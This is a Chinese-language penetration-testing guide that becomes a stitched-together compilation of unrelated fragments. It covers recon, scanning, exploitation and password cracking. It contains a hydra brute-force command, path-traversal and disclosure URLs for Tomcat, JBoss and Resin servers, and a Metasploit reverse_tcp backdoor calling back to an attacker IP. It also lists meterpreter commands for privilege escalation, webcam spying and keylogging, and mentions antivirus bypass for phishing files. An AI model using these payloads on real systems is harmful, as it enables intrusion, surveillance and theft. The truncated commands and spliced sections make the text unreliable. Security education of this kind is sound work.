零、前言
渗透测试在未得到被测试方授权之前依据某些地区法律规定是违法行为。 这里我们提供的所有渗透测试方法均为(假设为)合法的评估服务,也就是通常所说的道德黑客行为(Ethical hacking),因此我们这里的所有读者应当都是Ethical Hackers,如果您还不是,那么我希望您到过这里后会成为他们中的一员 ;)
这里,我还想对大家说一些话:渗透测试重在实践,您需要一颗永不言败的心和一个有着活跃思维的大脑。不是说您将这一份文档COPY到您网站上或者保存到本地电脑您就会了,即使您将它打印出来沾点辣椒酱吃了也不行,您一定要根据文档一步一步练习才行。而且测试重在用脑,千万别拿上一两个本文中提到的工具一阵乱搞,我敢保证:互联网的安全不为因为这样而更安全。祝您好运。。。
一、简介
什么叫渗透测试?
渗透测试最简单直接的解释就是:完全站在攻击者角度对目标系统进行的安全性测试过程。
进行渗透测试的目的?
了解当前系统的安全性、了解攻击者可能利用的途径。它能够让管理人员非常直观的了解当前系统所面临的问题。为什么说叫直观呢?就像Mitnick书里面提到的那样,安全管理(在这里我们改一下,改成安全评估工作)需要做到面面俱到才算成功,而一位黑客(渗透测试)只要能通过一点进入系统进行破坏,他就算是很成功的了。
渗透测试是否等同于风险评估?
不是,你可以暂时理解成渗透测试属于风险评估的一部分。事实上,风险评估远比渗透测试复杂的多,它除渗透测试外还要加上资产识别,风险分析,除此之外,也还包括了人工审查以及后期的优化部分(可选)。
已经进行了安全审查,还需要渗透测试吗?
如果我对您说:嘿,中国的现有太空理论技术通过计算机演算已经能够证明中国完全有能力实现宇航员太空漫步了,没必要再发射神8了。您能接受吗?
渗透测试是否就是黑盒测试?
否,很多技术人员对这个问题都存在这个错误的理解。渗透测试不只是要模拟外部黑客的入侵,同时,防止内部人员的有意识(无意识)攻击也是很有必要的。这时,安全测试人员可以被告之包括代码片段来内的有关于系统的一些信息。这时,它就满足灰盒甚至白盒测试。
渗透测试涉及哪些内容?
技术层面主要包括网络设备,主机,数据库,应用系统。另外可以考虑加入社会工程学(入侵的艺术/THE ART OF INTRUSION)。
渗透测试有哪些不足之处?
主要是投入高,风险高。而且必须是专业的Ethical Hackers才能相信输出的最终结果。
你说的那么好,为什么渗透测试工作在中国开展的不是很火热呢?
我只能说:会的,一定会的。渗透测试的关键在于没法证明你的测试结果就是完善的。用户不知道花了钱证明了系统有问题以后,自己的安全等级到了一个什么程序。但是很显然,用户是相信一个专业且经验丰富的安全团队的,这个在中国问题比较严重。在我接触了一些大型的安全公司进行的一些渗透测试过程来看,测试人员的水平是对不住开的那些价格的,而且从测试过程到结果报表上来看也是不负责的。我估计在三年以后,这种情况会有所改观,到时一方面安全人员的技术力量有很大程度的改观,另一方面各企业对渗透测试会有一个比较深刻的理解,也会将其做为一种IT审计的方式加入到开发流程中去。渗透测试的专业化、商业化会越来越成熟。
二、制定实施方案
实施方案应当由测试方与客户之间进行沟通协商。一开始测试方提供一份简单的问卷调查了解客户对测试的基本接收情况。内容包括但不限于如下:
目标系统介绍、重点保护对象及特性。
是否允许数据破坏?
是否允许阻断业务正常运行?
测试之前是否应当知会相关部门接口人?
接入方式?外网和内网?
测试是发现问题就算成功,还是尽可能的发现多的问题?
渗透过程是否需要考虑社会工程?
。。。
在得到客户反馈后,由测试方书写实施方案初稿并提交给客户,由客户进行审核。在审核完成后,客户应当对测试方进行书面委托授权。这里,两部分文档分别应当包含如下内容:
实施方案部分:
...
书面委托授权部分:
...
三、具体操作过程
1、信息收集过程
网络信息收集:
在这一部还不会直接对被测目标进行扫描,应当先从网络上搜索一些相关信息,包括Google Hacking, Whois查询, DNS等信息(如果考虑进行社会工程学的话,这里还可以相应从邮件列表/新闻组中获取目标系统中一些边缘信息如内部员工帐号组成,身份识别方式,邮件联系地址等)。
1.使用whois查询目标域名的DNS服务器
2.nslookup
set type=all
domain
server ns server
set q=all
ls -d domain
涉及的工具包括:Google,Demon,webhosting.info,Apollo,Athena,GHDB.XML,netcraft,seologs 除此之外,我想特别提醒一下使用Googlebot/2.1绕过一些文件的获取限制。
Google hacking 中常用的一些语法描述
1.搜索指定站点关键字site。你可以搜索具体的站点如site:www.nosec.org。使用site:nosec.org可以搜索该域名下的所有子域名的页面。甚至可以使用site:org.cn来搜索中国政府部门的网站。
2.搜索在URL网址中的关键字inurl。比如你想搜索带参数的站点,你可以尝试用inurl:asp?id=
3.搜索在网页标题中的关键字intitle。如果你想搜索一些登陆后台,你可以尝试使用intitle:"admin login"
目标系统信息收集:
通过上面一步,我们应当可以简单的描绘出目标系统的网络结构,如公司网络所在区域,子公司IP地址分布,VPN接入地址等。这里特别要注意一些比较偏门的HOST名称地址,如一些backup开头或者temp开关的域名很可能就是一台备份服务器,其安全性很可能做的不够。
从获取的地址列表中进行系统判断,了解其组织架构及操作系统使用情况。最常用的方法的是目标所有IP网段扫描。
端口/服务信息收集:
这一部分已经可以开始直接的扫描操作,涉及的工具包括:nmap,thc-amap
1.我最常使用的参数
nmap -sS -p1-10000 -n -P0 -oX filename.xml --open -T5 ip address
应用信息收集:httprint,SIPSCAN,smap
这里有必要将SNMP拿出来单独说一下,因为目前许多运营商、大型企业内部网络的维护台通过SNMP进行数据传输,大部分情况是使用了默认口令的,撑死改了private口令。这样,攻击者可以通过它收集到很多有效信息。snmp-gui,HiliSoft MIB Browser,mibsearch,net-snmp都是一些很好的资源。
2、漏洞扫描
这一步主要针对具体系统目标进行。如通过第一步的信息收集,已经得到了目标系统的IP地址分布及对应的域名,并且我们已经通过一些分析过滤出少许的几个攻击目标,这时,我们就可以针对它们进行有针对性的漏洞扫描。这里有几个方面可以进行:
针对系统层面的工具有:ISS, Nessus, SSS, Retina, 天镜, 极光
针对WEB应用层面的工具有:AppScan, Acunetix Web Vulnerability Scanner, WebInspect, Nstalker
针对数据库的工具有:ShadowDatabaseScanner, NGSSQuirreL
针对VOIP方面的工具有:PROTOS c07 sip(在测试中直接用这个工具轰等于找死)以及c07 h225, Sivus, sipsak等。
事实上,每个渗透测试团队或多或少都会有自己的测试工具包,在漏洞扫描这一块针对具体应用的工具也比较个性化。
3、漏洞利用
有时候,通过服务/应用扫描后,我们可以跳过漏洞扫描部分,直接到漏洞利用。因为很多情况下我们根据目标服务/应用的版本就可以到一些安全网站上获取针对该目标系统的漏洞利用代码,如milw0rm, securityfocus,packetstormsecurity等网站,上面都对应有搜索模块。实在没有,我们也可以尝试在GOOGLE上搜索“应用名称 exploit”、“应用名称 vulnerability”等关键字。
当然,大部分情况下你都可以不这么麻烦,网络中有一些工具可供我们使用,最著名的当属metasploit了,它是一个开源免费的漏洞利用攻击平台。其他的多说无益,您就看它从榜上无名到冲进前五(top 100)这一点来说,也能大概了解到它的威力了。除此之外,如果您(您们公司)有足够的moeny用于购买商用软件的话,CORE IMPACT是相当值得考虑的,虽然说价格很高,但是它却是被业界公认在渗透测试方面的泰山北斗,基本上测试全自动。如果您觉得还是接受不了,那么您可以去购买CANVAS,据说有不少0DAY,不过它跟metasploit一样,是需要手动进行测试的。最后还有一个需要提及一下的Exploitation_Framework,它相当于一个漏洞利用代码管理工具,方便进行不同语言,不同平台的利用代码收集,把它也放在这里是因为它本身也维护了一个exploit库,大家参考着也能使用。
上面提到的是针对系统进行的,在针对WEB方面,注入工具有NBSI, OWASP SQLiX, SQL Power Injector, sqlDumper, sqlninja, sqlmap, Sqlbftools, priamos, ISR-sqlget***等等。
在针对数据库方面的工具有:
数据库 工具列表 Oracle(1521端口): 目前主要存在以下方面的安全问题:
1、TNS监听程序攻击(sid信息泄露,停止服务等)
2、默认账号(default password list)
3、SQL INJECTION(这个与传统的意思还不太一样)
4、缓冲区溢出,现在比较少了。 thc-orakel, tnscmd, oscanner, Getsids, TNSLSNR, lsnrcheck, OAT, Checkpwd, orabf MS Sql Server(1433、1434端口) Mysql(3306端口) DB2(523、50000、50001、50002、50003端口) db2utils Informix(1526、1528端口)
在针对Web服务器方面的工具有:
WEB服务器 工具列表 IIS IISPUTSCANNER Tomcat 想起/admin和/manager管理目录了吗?另外,目录列表也是Tomcat服务器中最常见的问题。比如5.*版本中的http://127.0.0.1/;index.jsp
http://www.example.com/foo/"../manager/html
http://www.example.com:8080/examples/servlets/servlet/CookieExample?cookiename=HAHAcookievalue=%5C%22FOO%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2F%3B
http://www.example.com:8080/servlets-examples/servlet/CookieExample?cookiename=BLOCKERcookievalue=%5C%22A%3D%27%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2Fservlets-examples%2Fservlet+%3B JBOSS jboss的漏洞很少,老版本中8083端口有%符号的漏洞:
GET %. HTTP/1.0可以获取物理路径信息,
GET %server.policy HTTP/1.0可以获取安全策略配置文档。
你也可以直接访问GET %org/xxx/lib.class来获取编译好的java程序,再使用一些反编译工具还原源代码。 Apache Resin http://victim/C:%5C/
http://victim/resin-doc/viewfile/?file=index.jsp
http://victim/resin-doc/viewfile/?contextpath=/otherwebappservletpath=file=WEB-INF/web.xml
http://victim/resin-doc/viewfile/?contextpath=/servletpath=file=WEB-INF/classes/com/webapp/app/target.class
http://victim/[path]/[device].[extension]
http://victim/%20.."web-inf
http://victim/%20
http://victim/[path]/%20.xtp WebLogic
Web安全测试主要围绕几块进行:
Information Gathering:也就是一般的信息泄漏,包括异常情况下的路径泄漏、文件归档查找等
Business logic testing:业务逻辑处理攻击,很多情况下用于进行业务绕过或者欺骗等等
Authentication Testing:有无验证码、有无次数限制等,总之就是看能不能暴力破解或者说容不容易通过认证,比较直接的就是“默认口令”或者弱口令了
Session Management Testing:会话管理攻击在COOKIE携带认证信息时最有效
Data Validation Testing:数据验证最好理解了,就是SQL Injection和Cross Site Script等等
目前网上能够找到许多能够用于进行Web测试的工具,根据不同的功能分主要有:
枚举(Enumeration): DirBuster, http-dir-enum, wget
基于代理测试类工具:paros, webscarab, Burp Suite
针对WebService测试的部分有一些尚不是很成熟的工具,如:wsbang,wschess,wsmap,wsdigger,wsfuzzer
这一部分值得一提的是,很多渗透测试团队都有着自己的测试工具甚至是0DAY代码,最常见的是SQL注入工具,现网开发的注入工具(如NBSI等)目前都是针对中小企业或者是个人站点/数据库进行的,针对大型目标系统使用的一些相对比较偏门的数据库系统(如INFORMIX,DB2)等,基本上还不涉及或者说还不够深入。这时各渗透测试团队就开发了满足自身使用习惯的测试工具。
在针对无线环境的攻击有:WifiZoo
4、权限提升
在前面的一些工作中,你或许已经得到了一些控制权限,但是对于进一步攻击来说却还是不够。例如:你可能很容易的能够获取Oracle数据库的访问权限,或者是得到了UNIX(AIX,HP-UX,SUNOS)的一个基本账号权限,但是当你想进行进一步的渗透测试的时候问题就来了。你发现你没有足够的权限打开一些密码存储文件、你没有办法安装一个SNIFFER、你甚至没有权限执行一些很基本的命令。这时候你自然而然的就会想到权限提升这个途径了。
目前一些企业对于补丁管理是存在很大一部分问题的,他们可能压根就没有想过对一些服务器或者应用进行补丁更新,或者是延时更新。这时候就是渗透测试人员的好机会了。经验之谈:有一般权限的Oracle账号或者AIX账号基本上等于root,因为这就是现实生活。
5、密码破解
有时候,目标系统任何方面的配置都是无懈可击的,但是并不是说就完全没办法进入。最简单的说,一个缺少密码完全策略的论证系统就等于你安装了一个不能关闭的防盗门。很多情况下,一些安全技术研究人员对此不屑一顾,但是无数次的安全事故结果证明,往往破坏力最大的攻击起源于最小的弱点,例如弱口令、目录列表、SQL注入绕过论证等等。所以说,对于一些专门的安全技术研究人员来说,这一块意义不大,但是对于一个ethical hacker来说,这一步骤是有必要而且绝大部分情况下是必须的。;)
目前比较好的网络密码暴力破解工具有:thc-hydra,brutus
hydra.exe -L users.txt -P passwords.txt -o test.txt -s 2121 www.heimian.com ftp
目前网络中有一种资源被利用的很广泛,那就是rainbow table技术,说白了也就是一个HASH对应表,有一些网站提供了该种服务,对外宣称存储空间大于多少G,像rainbowcrack更是对外宣称其数据量已经大于1.3T。
针对此种方式对外提供在线服务的有:
网址 描述 rainbowcrack 里面对应了多种加密算法的HASH。 http://gdataonline.com/seekhash.php http://www.milw0rm.com/cracker/info.php http://www.hashchecker.com/?_sls=search_hash http://bokehman.com/cracker/ http://passcracking.ru/ http://www.md5.org.cn http://www.cmd5.com/ 数据量全球第一,如果本站无法破解,那么你只能去拜春哥...
当然,有些单机破解软件还是必不可少的:Ophcrack,rainbowcrack(国人开发,赞一个),cain,L0phtCrack(破解Windows密码),John the Ripper(破解UNIX/LINUX)密码,当然,还少不了一个FindPass...
针对网络设备的一些默认帐号,你可以查询http://www.routerpasswords.com/和http://www.phenoelit-us.org/dpl/dpl.html
在渗透测试过程中,一旦有机会接触一些OFFICE文档,且被加了密的话,那么,rixler是您马上要去的地方,他们提供的OFFICE密码套件能在瞬间打开OFFICE文档(2007中我没有试过,大家有机会测试的话请给我发一份测试结果说明,谢谢)。看来微软有理由来个补丁什么的了。对于企业来说,您可以考虑使用铁卷或者RMS了。
6、日志清除
It is not necessary actually.
7、进一步渗透
攻入了DMZ区一般情况下我们也不会获取多少用价值的信息。为了进一步巩固战果,我们需要进行进一步的内网渗透。到这一步就真的算是无所不用其及。最常用且最有效的方式就是Sniff抓包(可以加上ARP欺骗)。当然,最简单的你可以翻翻已入侵机器上的一些文件,很可能就包含了你需要的一些连接帐号。比如说你入侵了一台Web服务器,那么绝大部分情况下你可以在页面的代码或者某个配置文件中找到连接数据库的帐号。你也可以打开一些日志文件看一看。
除此之外,你可以直接回到第二步漏洞扫描来进行。
四、生成报告
报告中应当包含:
薄弱点列表清单(按照严重等级排序)
薄弱点详细描述(利用方法)
解决方法建议
参与人员/测试时间/内网/外网
五、测试过程中的风险及规避
在测试过程中无可避免的可能会发生很多可预见和不可预见的风险,测试方必须提供规避措施以免对系统造成重大的影响。以下一些可供参考:
1. 不执行任何可能引起业务中断的攻击(包括资源耗竭型DoS,畸形报文攻击,数据破坏)。
2. 测试验证时间放在业务量最小的时间进行。
3. 测试执行前确保相关数据进行备份。
4. 所有测试在执行前和维护人员进行沟通确认。
5. 在测试过程中出现异常情况时立即停止测试并及时恢复系统。
6. 对原始业务系统进行一个完全的镜像环境,在镜像环境上进行渗透测试。
渗透、免杀、破解、
渗透-综合扫描、目录检测、注入检测、webshell、抓包改包、提权、字典、痕迹清理、
免杀-免杀辅助、脱壳、加壳、加花、
破解-PE工具、调试、反编译、补丁、加壳脱壳、行为监控、网络封包分析、
如果还要分类的话恐怕我整理需要1个多小时太麻烦。
owershell是windows下面非常强大的命令行工具,并且在windows中Powershell可以利用.NET Framework的强大功能,也可以调用windows API,在win7/server 2008以后,powershell已被集成在系统当中。 除此之外,使用powershell能很好的bypass各种AV,在渗透测试中可谓是一个神器。此次使用的是开源的powershell脚本集nishang中的client来制作钓鱼文件。
很多朋友对使用Metasploit利用后门程序进行渗透windows7都比较感兴趣,针对这些以下业内相关专家就给大家介绍下,当下黑客怎么利用Metasploit进行渗透windows7的。设定目标主机为:cn_win7_x86_7601虚拟机,地址为:192.168.0.116;而本地主机就为:192.168.0.149。方法步骤一:黑客用Msfpayload直接生成相关的后门程序,如下图。sfpayloadwindows/meterpreter/reverse_tcpLHOST=192.168.0.149xsteup.exe方法步骤二:黑客直接就能进入所在的目录并将属性进行修改,换为允许以程序执行文件,详细如下图。进入所在目录,修改属性:选择“允许以程序执行文件”,这时候也可以做一些免杀方法步骤三:接着黑客就打开msfconsole并加载exploit/multi/handler模块并进行设置本地主机,最后就能开始进行监听了,详细情况如下图。打开msfconsole,加载exploit/multi/handler模块,设置本地主机;然后开始监听:exploit-z-j:方法步骤四:黑客需要能将程序直接拷贝都目标主机中并进行执行。方法步骤五:以上步骤全部完成后黑客就能通过后门程序反向连接到msf,用msf就能发起第2次的攻击然后使用客户端也就是后门程序就能连接都服务端msf,详细的如下图。Meterpreter就是metasploit框架中的一个扩展模块,因此的话溢出成功后黑客就能攻击载荷进行使用,一旦攻击载荷在溢出攻击成功后就能再返回一个控制通道,这样就能将它作为攻击载荷成功获得目标系统的一个meterpretershell的链接。另外,附meterpreter常用命令:getsystem#会自动利用各种各样的系统漏洞来进行权限提升migrate#进程id进程迁移background#把当前的会话设置为背景,需要的时候在启用getuid#查看对方正在运行的用户ps#列出所有的进程getpid#返回运行meterpreter的id号sysinfo#产看系统信息和体系结构shell#切换到cmd的系统权限方式exit#退出shell会话返回meterpreter或终止meterpretergetdesktop截取目标主机当前桌面会话窗口runwebcam-p/var/www#在/var/www目录监控目标主机的摄像头keylog_recorder#使用migrate将会话迁移至explorer.exe的进程空间后记录键盘
kali Linux官方的说法是渗透测试,大致分为Web渗透(针对网站)、无线渗透(测试WIFI的安全性,安全性低的wifi渗透后可以得到wifi密码,进而进行ARP欺骗、嗅探、会话劫持)、主机渗透(就是根据主机漏洞进行渗透,主要用nessus和Metasploit)。此外还可以进行密码破解,一般都是字典爆破(破passwd哈希、MD5、rar密码、各种口令)。还有社工工具(比较著名的是SET)和信息收集工具也很多。
一名黑客(hacker)是一个喜欢用智力通过创造性方法来挑战脑力极限的人,特别是他们所感兴趣的领域,例如电脑编程或电器工程。
黑客最早源自英文hacker,早期在美国的电脑界是带有褒义的。但在媒体报导中,黑客一词往往指那些“软件骇客”(software cracker)。
黑客一词,原指热心于计算机技术,水平高超的电脑专家,尤其是程序设计人员。
但到了今天,黑客一词已被用于泛指那些专门利用电脑搞破坏或恶作剧的家伙。对这些人的正确英文叫法是Cracker,有人翻译成“骇客”。
黑客和骇客根本的区别是:黑客们建设,而骇客们破坏。
也有人叫黑客做Hacker。
黑客一词一般有以下四种意义:
一个对(某领域内的)编程语言有足够了解,可以不经长时间思考就能创造出有用的软件的人。
一个恶意(一般是非法地)试图破解或破坏某个程序、系统及网络安全的人。这个意义常常对那些符合条件(1)的黑客造成严重困扰,他们建议媒体将这群人称为“骇客”(cracker)。有时这群人也被叫做“黑帽黑客”。
像国内著名的黑客 “教主”则是一个专业的黑帽黑客,利用系统的漏洞来达到入侵和渗透的目的。
一个试图破解某系统或网络以提醒该系统所有者的系统安全漏洞。这群人往往被称做“白帽黑客”或“匿名客”(sneaker)或红客。许多这样的人是电脑安全公司的雇员,并在完全合法的情况下攻击某系统。
一个通过知识或猜测而对某段程序做出(往往是好的)修改,并改变(或增强)该程序用途的人。
“脚本小孩”则指那些完全没有或仅有一点点骇客技巧,而只是按照指示或运行某种骇客程序来达到破解目的的人
虽然黑客攻击的手法多种多样,但就目前来说,绝大多数中初级黑客们所采用的手法和工具仍具有许多共性。从大的方面来划分的话,归纳起来一般不外乎以下几种:1、网络报文嗅探网络嗅探其实最开始是应用于网络管理的,就像远程控制软件一样,但随着黑客们的发现,这些强大的功能就开始被客们利用。最普遍的安全威胁来自内部,同时这些威胁通常都是致命的,其破坏性也远大于外部威胁。其中网络嗅探对于安全防护一般的网络来说,使用这种方法操作简单,而且同时威胁巨大。很多黑客也使用嗅探器进行网络入侵的渗透。网络嗅探器对信息安全的威胁来自其被动性和非干扰性,使得网络嗅探具有很强的隐蔽性,往往让网络信息泄密变得不容易被发现。
嗅探器是利用计算机的网络接口,截获目的计算机数据报文的一种技术。不同传输介质的网络的可监听性是不同的。一般来说,以太网被监听的可能性比较高,因为以太网是一个广播型的网络;FDDI Token被监听的可能性也比较高,尽管它不是一个广播型网络,但带有令牌的那些数据包在传输过程中,平均要经过网络上一半的计算机;微波和无线网被监听的可能性同样比较高,因为无线电本身是一个广播型的传输媒介,弥散在空中的无线电信号可以被很轻易的截获。
嗅探器工作在网络的底层,把受影视的计算机的网络传输全部数据记录下来。虽然嗅探器经常初网管员用来进行网络管理,可以帮助网络管理员查找网络漏洞和检测网络性能、分析网络的流量,以便找出所关心的网络中潜在的问题。但目前却在黑客中的应用似乎更加广泛,使人们开始对这类工具敬而远之。2、地址欺骗IP地址欺骗攻击是黑客们假冒受信主机(要么是通过使用你网络IP地址范围内的IP,要么是通过使用你信任,并可提供特殊资源位置访问的外部IP地址)对目标进行攻击。在这种攻击中,受信主机指的是你拥有管理控制权的主机或你可明确做出“信任”决定允许其访问你网络的主机。通常,这种IP地址欺骗攻击局限于把数据或命令注入到客户/服务应用之间,或对等网络连接传送中已存在的数据流。为了达到双向通讯,攻击者必须改变指向被欺骗IP地址的所有路由表。 IP地址攻击可以欺骗防火墙,实现远程攻击。以上介绍的报文嗅探,IP欺骗的攻击者不限于外部网络,在内部网络中同样可能发生,所以在企业网络内部同样要做好相关防御措施。 3、密码攻击 密码攻击通过多种不同方法实现,包括蛮力攻击(brute force attack),特洛伊木马程序,IP欺骗和报文嗅探。尽管报文嗅探和IP欺骗可以捕获用户账号和密码,但密码攻击通常指的反复的试探、验证用户账号或密码。这种反复试探称之为蛮力攻击。通常蛮力攻击使用运行于网络上的程序来执行,并企图注册到共享资源中,例如服务器。当攻击者成功的获得了资源的访问权,他就拥有了和那些账户被危及以获得其资源访问权的用户有相同的权利。如果这些账户有足够夺得特权,攻击者可以为将来的访问创建一个后门,这样就不用担心被危及用户账号的任何身份和密码的改变。 4、拒绝服务攻击 拒绝服务(Denial of Service,DoS)攻击是目前最常见的一种攻击类型。从网络攻击的各种方法和所产生的破坏情况来看,DoS算是一种很简单,但又很有效的进攻方式。它的目的就是拒绝你的服务访问,破坏组织的正常运行,最终使你的网络连接堵塞,或者服务器因疲于处理攻击者发送的数据包而使服务器系统的相关服务崩溃、系统资源耗尽。
DoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务。DoS攻击的基本过程:首先攻击者向服务器发送众多的带有虚假地址的请求,服务器发送回复信息后等待回传信息。由于地址是伪造的,所以服务器一直等不到回传的消息,然而服务器中分配给这次请求的资源就始终没有被释放。当服务器等待一定的时间后,连接会因超时而被切断,攻击者会再度传送新的一批请求,在这种反复发送伪地址请求的情况下,服务器资源最终会被耗尽。
这类攻击和其他大部分攻击不同的是,因为他们不是以获得网络或网络上信息的访问权为目的,而是要使受攻击方耗尽网络、操作系统或应用程序有限的资源而崩溃,不能为其他正常其他用户提供服务为目标。这就是这类攻击被称之为“拒绝服务攻击”的真正原因。
当涉及到特殊的网络服务应用,象HTTP或FTP服务,攻击者能够获得并保持所有服务器支持的有用连接,有效地把服务器或服务的真正使用者拒绝在外面。大部分拒绝服务攻击是使用被攻击系统整体结构上的弱点,而不是使用软件的小缺陷或安全漏洞。然而,有些攻击通过采用不希望的、无用的网络报文掀起网络风暴和提供错误的网络资源状态信息危及网络的性能。
DDoS(Distributed Denial of Service,分布式拒绝服务)是一种基于DoS的特殊形式的分布、协作式的大规模拒绝服务攻击。也就是说不再是单一的服务攻击,而是同时实施几个,甚至十几个不同服务的拒绝攻击。由此可见,它的攻击力度更大,危害性当然也更大了。它主要瞄准比较大的网站,象商业公司,搜索引擎和政府部门的Web站点。
要避免系统遭受DoS攻击,从前两点来看,网络管理员要积极谨慎地维护整个系统,确保无安全隐患和漏洞;而针对第三点的恶意攻击方式则需要安装防火墙等安全设备过滤DoS攻击,同时强烈建议网络管理员定期查看安全设备的日志,及时发现对系统存在安全威胁的行为。 5、应用层攻击 应用层攻击能够使用多种不同的方法来实现,最平常的方法是使用服务器上通常可找到的应用软件(如SQL Server、Sendmail、PostScript和FTP)缺陷。通过使用这些缺陷,攻击者能够获得计算机的访问权,以及该计算机上运行相应应用程序所需账户的许可权。
应用层攻击的一种最新形式是使用许多公开化的新技术,如HTML规范、Web浏览器的操作性和HTTP协议等。这些攻击通过网络传送有害的程序,包括JAVA applet和Active X控件等,并通过用户的浏览器调用它们,很容易达到入侵、攻击的目的。虽然微软公司前段时间提供的代码验证技术可以使用户的Active X控件因安全检查错误而暂停这类攻击,但攻击者已经发现怎样利用适当标记和有大量漏洞的Active X控件使之作为特洛伊木马实施新的攻击方式。这一技术可使用VBScript脚本程序直接控制执行隐蔽任务,如覆盖文件,执行其他文件等,预防、查杀的难度更大。
在应用层攻击中,容易遭受攻击的目标包括路由器、数据库、Web和FTP服务器和与协议相关的服务,如DNS、WINS和SMB。
第一类:网络渗透测试工具
网络渗透测试工具是一种可以测试连接到网络的主机/系统的工具。通用的网络渗透测试工具有ciscoAttacks、Fast-Track、Metasploit、SAPExploitation等,这些工具各有各的特点和优势。因为网络渗透测试是一个相对广泛的概念,所以上述工具也可以包括社会工程学渗透测试模块,网络渗透测试模块和无线渗透测试模块。
第二类:社会工程学渗透测试工具
社会工程学渗透测试是利用社会工程学进行渗透测试,通常利用人们行为中的弱点来达到渗透的目的。典型的社会工程学渗透测试工具有BeefXSS和HoneyPots,这些工具诱使用户访问特定的网站,获得用户的Cookie信息,达到渗透的目的。
第三类:网站渗透测试工具
网站渗透测试是对Web应用程序和相应的设备配置进行渗透测试。在进行网站渗透测试时,安全工程序必须采用非破坏性的方法来发现目标系统中的潜在漏洞。常用的网络渗透测试工具有asp-auditor、darkmysql、fimap、xsser等。
第四类:无线渗透测试工具
无线渗透测试工具是蓝牙网络和无线局域网的渗透测试。在进行无线渗透测试时,一般需要先破解目标网络的密码,或者建立虚假热点来吸引目标用户访问,然后通过其他方式控制目标系统。常见的蓝牙网络渗透测试工具有atshell、btftp、bluediving、bluemaho等;常见的无线局域网渗透测试工具有aircack-ng、airmon-ng、pcapgetiv和weakivgeng等,这些工具实现了不同的功能,可以让安全工程师通过各种方式进行无线渗透测试。
我来说两句